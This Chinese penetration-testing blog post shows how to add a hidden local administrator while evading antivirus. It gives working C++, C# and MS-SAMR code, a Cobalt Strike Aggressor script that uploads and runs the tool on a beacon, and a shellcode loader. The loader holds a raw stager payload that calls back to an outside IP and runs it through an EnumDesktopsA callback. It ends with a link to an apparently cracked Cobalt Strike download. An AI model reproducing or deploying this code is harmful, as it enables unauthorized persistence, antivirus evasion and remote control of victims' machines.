起因:

在渗透测试过程中,有时会登录远程桌面等服务进行横向,但需要知道 Windows 账户口令 (不考虑 hash 传递场景),而直接通过net.exe进行添加用户,往往会被安全软件直接阻断拦截,这就需要调用 Windows API ,进行 Bypass AV。

C++
调用
NetUserAdd添加本地用户调用
NetLocalGroupAddMembers将用户添加到组
#define _CRT_SECURE_NO_WARNINGS
#include
#include
#ifndef UNICODE
#define UNICODE
#endif
#pragma comment(lib, "netapi32")
int main(int argc, char** argv)
{
if (argc != 3)
{
printf("Usage: AddUserBypass.exe\n");
exit(1);
}
wchar_t Username[256];
wchar_t Password[256];
mbstowcs(Username, argv[1], 256);
mbstowcs(Password, argv[2], 256);
NET_API_STATUS nStatus;
USER_INFO_1 UserInfo;
DWORD dwLevel = 1;
DWORD dwError = 0;
UserInfo.usri1_name = Username;
UserInfo.usri1_password = Password;
UserInfo.usri1_priv = USER_PRIV_USER;
UserInfo.usri1_home_dir = NULL;
UserInfo.usri1_comment = NULL;
UserInfo.usri1_flags = UF_SCRIPT;
UserInfo.usri1_script_path = NULL;
nStatus = NetUserAdd(NULL, dwLevel, (LPBYTE)&UserInfo, &dwError);
if (nStatus == NERR_Success)
{
printf("[*] Add User Success!\n");
}
else
{
printf("[*] Add User Failed! Error Code: %d\n", nStatus);
}
LOCALGROUP_MEMBERS_INFO_3 LGMInfo;
LGMInfo.lgrmi3_domainandname = UserInfo.usri1_name;
nStatus = NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&LGMInfo, 1);
if (nStatus == NERR_Success)
{
printf("[*] Add User to Administrators Success!\n");
}
else
{
printf("[*] Add User to Administrators Failed! Error Code: %d\n", nStatus);
}
nStatus = NetLocalGroupAddMembers(NULL, L"Remote Desktop Users", 3, (LPBYTE)&LGMInfo, 1);
if (nStatus == NERR_Success)
{
printf("[*] Add User to Remote Desktop Users Success!\n");
}
else
{
printf("[*] Add User to Remote Desktop Users Failed! Error Code: %d\n", nStatus);
}
return 0;
}
C#
调用DirectoryServices添加本地用户,同时可以删除用户、添加用户组。
https://learn.microsoft.com/zh-cn/troubleshoot/developer/visualstudio/csharp/language-compilers/add-user-local-system
using System;
using System.DirectoryServices;
namespace sharpAddUser
{
class Class1
{
static void Main(string[] args)
{
if (args.Length != 2)
{
Console.WriteLine("Usage: UserAdd.exe");
}
else
{
string username = args[0];
string password = args[1];
try
{
DirectoryEntry AD = new DirectoryEntry("WinNT://" + Environment.MachineName + ",computer");
DirectoryEntry NewUser = AD.Children.Add(username, "user");
NewUser.Invoke("SetPassword", new object[] { password });
NewUser.CommitChanges();
DirectoryEntry grp;
grp = AD.Children.Find("Administrators", "group");
if (grp != null) { grp.Invoke("Add", new object[] { NewUser.Path.ToString() }); }
Console.WriteLine("[*] Account Created Successfully");
Console.WriteLine($"[+] Username: {username}\n[+] Password: {password}");
}
catch (Exception ex)
{
Console.WriteLine(ex.Message);
Console.ReadLine();
}
}
}
}
}
RPC调用
MS-SAMR协议中的SamrCreateUser2InDomain()来添加用户(其实调用MS-SAMR是NetUserAdd()等API的底层实现)
实现有两种方式,一种是直接调用MS-SAMR协议去直接创建一个用户,微软官方给了IDL,将其编译,然后构造,这种方式调用起来比较麻烦,另一种是使用神器mimikatz打包好的samlib.dll
void AddUser(wchar_t* uName, wchar_t* uPass){DWORD* pRid;DWORD* pUse;DWORD USE = 0;ULONG grantAccess;ULONG relativeId;DWORD* adminRID;PSID userSID = NULL;NTSTATUS status = STATUS_INVALID_ACCOUNT_NAME, enumDomainStatus;DWORD i, domainEnumerationContext = 0, domainCountReturned;PSAMPR_RID_ENUMERATION pEnumDomainBuffer = NULL, pEnumGroupBuffer = NULL;PSID builtinDomainSid = 0, accountDomainSid = 0;SAMPR_HANDLE hServerHandle = NULL, hDomainHandle = NULL, hUserHandle = NULL;SAMPR_USER_ALL_INFORMATION userAllInfo = { 0 };NTSTATUS enumGroupStatus;DWORD groupEnumerationContext = 0;DWORD groupCountReturned;UNICODE_STRING adminGroup;SAMPR_HANDLE hAdminGroup;UNICODE_STRING userName;UNICODE_STRING password;UNICODE_STRING uBuiltin;UNICODE_STRING serverName;// init server, username, passwordRtlInitUnicodeString(&uBuiltin, L"Builtin");RtlInitUnicodeString(&userName, uName);RtlInitUnicodeString(&password, uPass);RtlInitUnicodeString(&serverName, L"localhost");status = SamConnect(&serverName, &hServerHandle, SAM_SERVER_CONNECT | SAM_SERVER_ENUMERATE_DOMAINS | SAM_SERVER_LOOKUP_DOMAIN, FALSE);if (NT_SUCCESS(status)){do{enumDomainStatus = SamEnumerateDomainsInSamServer(hServerHandle, &domainEnumerationContext, &pEnumDomainBuffer, 1, &domainCountReturned);for (i = 0; i < domainCountReturned; i++){// Get Builtin Domain SID & Account Domain SIDif (RtlEqualUnicodeString(&pEnumDomainBuffer[i].Name, &uBuiltin, TRUE))SamLookupDomainInSamServer(hServerHandle, &pEnumDomainBuffer[i].Name, &builtinDomainSid);elseSamLookupDomainInSamServer(hServerHandle, &pEnumDomainBuffer[i].Name, &accountDomainSid);}} while (enumDomainStatus == STATUS_MORE_ENTRIES);status = SamOpenDomain(hServerHandle, DOMAIN_LOOKUP | DOMAIN_CREATE_USER, accountDomainSid, &hDomainHandle);if (NT_SUCCESS(status)){// Create user in Account Domainstatus = SamCreateUser2InDomain(hDomainHandle, &userName, USER_NORMAL_ACCOUNT, USER_ALL_ACCESS | DELETE | WRITE_DAC, &hUserHandle, &grantAccess, &relativeId);if (NT_SUCCESS(status)){wprintf(L"[*] SamCreateUser2InDomain success. User RID: %d\n", relativeId);userAllInfo.NtPasswordPresent = TRUE;userAllInfo.WhichFields |= USER_ALL_NTPASSWORDPRESENT;// Clear the UF_ACCOUNTDISABLE to enable accountuserAllInfo.UserAccountControl &= 0xFFFFFFFE;userAllInfo.UserAccountControl |= USER_NORMAL_ACCOUNT;userAllInfo.WhichFields |= USER_ALL_USERACCOUNTCONTROL;RtlInitUnicodeString(&userAllInfo.NtOwfPassword, password.Buffer);// Set password and userAccountControlstatus = SamSetInformationUser(hUserHandle, UserAllInformation, &userAllInfo);if (NT_SUCCESS(status)){wprintf(L"[*] SamSetInformationUser success.\n");}else wprintf(L"[!] SamSetInformationUser error 0x%08X\n", status);}else wprintf(L"[!] SamCreateUser2InDomain error 0x%08X\n", status);}else wprintf(L"[!] SamOpenDomain error. 0x%0X8\n", status);status = SamOpenDomain(hServerHandle, DOMAIN_LOOKUP, builtinDomainSid, &hDomainHandle);if (NT_SUCCESS(status)){RtlInitUnicodeString(&adminGroup, L"administrators");// Lookup Administrators in Builtin Domainstatus = SamLookupNamesInDomain(hDomainHandle, 1, &adminGroup, &adminRID, &USE);if (NT_SUCCESS(status)){status = SamOpenAlias(hDomainHandle, ALIAS_ADD_MEMBER, *adminRID, &hAdminGroup);if (NT_SUCCESS(status)){SamRidToSid(hUserHandle, relativeId, &userSID);// Add user to Administratorsstatus = SamAddMemberToAlias(hAdminGroup, userSID);if (NT_SUCCESS(status)){wprintf(L"[*] SamAddMemberToAlias success.\n");}else wprintf(L"[!] AddMemberToAlias error 0x%08X\n", status);}else wprintf(L"[!] SamOpenAlias error 0x%08X\n", status);}else wprintf(L"[!] SamLookupNamesInDomain error 0x%08X\n", status);}}else wprintf(L"[!] Samconnect error\n");SamCloseHandle(hUserHandle);SamCloseHandle(hDomainHandle);SamCloseHandle(hServerHandle);SamFreeMemory(pEnumDomainBuffer);SamFreeMemory(pEnumGroupBuffer);}int main(int argc, wchar_t* argv[]){if (argc == 3){AddUser(argv[1], argv[2]);}else wprintf(L"Usage: AddUserBypass_SAMR.exe); " return 0;}
But这种例子用的太多了,还是会被拦截。。。
So,最终版本,给出反编译,相信聪明的你该知道怎么做了(狗头):

CS插件编写:
https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/agressor_script.htm
https://wiki.wgpsec.org/knowledge/intranet/Aggressor-script.html
popup beacon_bottom{item "NetUserAdd"{$bid = $1['@'];$Dialog = dialog("add admin user",%(username => "laoxinsec",password => "laoxinsec",bid => $bid),$add_user)drow_text($Dialog,"username", "username: ");drow_text($Dialog,"password", "password: ");dbutton_action($Dialog, "run");dialog_show($Dialog);}sub add_user{$Name = $3['username'];$passwd = $3['password'];$cmd = "adduser.exe ".$Name." ".$passwd;bupload($bid,script_resource("adduser.exe"));bshell($bid,$cmd);}}
简单的loader免杀上线测试插件:
unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xeb\x73\x5a\x48\x89\xc1\x41\xb8\x50\x00\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x59\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00\x02\x40\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48\x89\xf1\x48\x89\xda\x49\xc7\xc0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xd3\xe9\xe4\x01\x00\x00\xe8\xa2\xff\xff\xff\x2f\x4b\x71\x6f\x32\x00\x47\x97\x09\xb7\xd3\x2c\xa5\x90\xe1\x2e\x09\xd8\xe9\x6d\x51\x3f\xb6\x19\xaa\x2d\x6e\x7e\x0a\x44\x11\xce\xb2\x02\x7d\x65\x6d\x80\x53\xc8\x24\x11\x84\x40\x18\x11\x32\x22\x0f\xe2\x6b\xca\x8e\x2a\x2c\x97\xd4\x58\xbd\xc3\xa6\xd3\x5d\xcc\xa2\x60\x60\x36\x41\x7d\x62\x3e\xd0\xc6\x92\x45\xcd\x83\x12\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x31\x30\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x32\x3b\x20\x57\x4f\x57\x36\x34\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x36\x2e\x30\x3b\x20\x4d\x41\x54\x42\x4a\x53\x29\x0d\x0a\x00\x20\x40\x1f\x95\x2e\xf1\x79\xf5\xe5\xa7\x7f\xae\x7b\xf9\x59\x1f\x60\xbd\x0e\x99\xdd\x02\x8a\xb8\xf0\x1a\x3d\x5b\xa8\xee\x16\x18\x57\x50\x24\x95\xf9\x77\xae\xaf\xfe\x21\x2e\x85\x3f\x9a\xb6\xe0\xce\xd4\x72\xad\xe0\x13\x6f\xcd\x3c\x5f\x88\x6a\x8b\xb6\xcc\x4d\x2c\x33\x60\xf5\xef\x35\xa9\x87\x40\x76\x4a\x5d\x7f\x44\x1e\xb1\x98\xe7\x38\x04\x5b\x60\x0e\x1e\x1e\x25\x4d\xda\x22\x40\x15\xc7\x04\x2f\x4f\x48\x3d\x16\xcb\x82\xfb\xbb\xa2\xcb\x8d\x98\x6f\x7a\x82\x96\xe8\x22\x99\xc7\xe1\x82\xcd\xc9\x8c\x9e\xd4\xf5\x18\x92\x83\x0b\x6a\x16\xb9\x4b\xe0\x2f\xc7\x0f\x1b\x8c\x29\x97\x27\x19\xaf\x59\x3b\x61\xc9\xca\xc5\x07\x4d\x61\x6a\x01\x5e\x80\x1b\x2a\x30\x0a\xa0\x8c\xe5\xd4\x16\x7a\x56\xca\xe0\x17\x74\xf7\xa9\xc7\xde\xbc\x42\x6f\xd4\x4f\x8a\x25\xac\x4b\x1e\x7f\xea\xed\xe5\x2b\xe7\x36\xce\x1c\x32\x35\x3d\x92\xc1\xcf\x31\x7b\x57\xef\xdb\xe5\x9f\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\x00\x00\x00\x00\x50\xc3\xe8\x9f\xfd\xff\xff\x34\x37\x2e\x31\x30\x38\x2e\x31\x33\x37\x2e\x31\x39\x30\x00\x5e\x2e\x78\x90";void main() {LPVOID mem = VirtualAlloc(NULL,sizeof(buf),MEM_COMMIT,PAGE_EXECUTE_READWRITE);RtlMoveMemory(mem, buf, sizeof(buf));EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem, NULL);}
配套视频:
https://www.bilibili.com/video/BV1Qh4y1p7wb/?spm_id_from=333.999.0.0&vd_source=d0c5cfc4008c14d0c490e16cf55f5b65
CS4.8下载地址:
https://anonfiles.com/gcxdW3k7za/CobaltStrike48_pwn3rzs_cyberarsenal_7z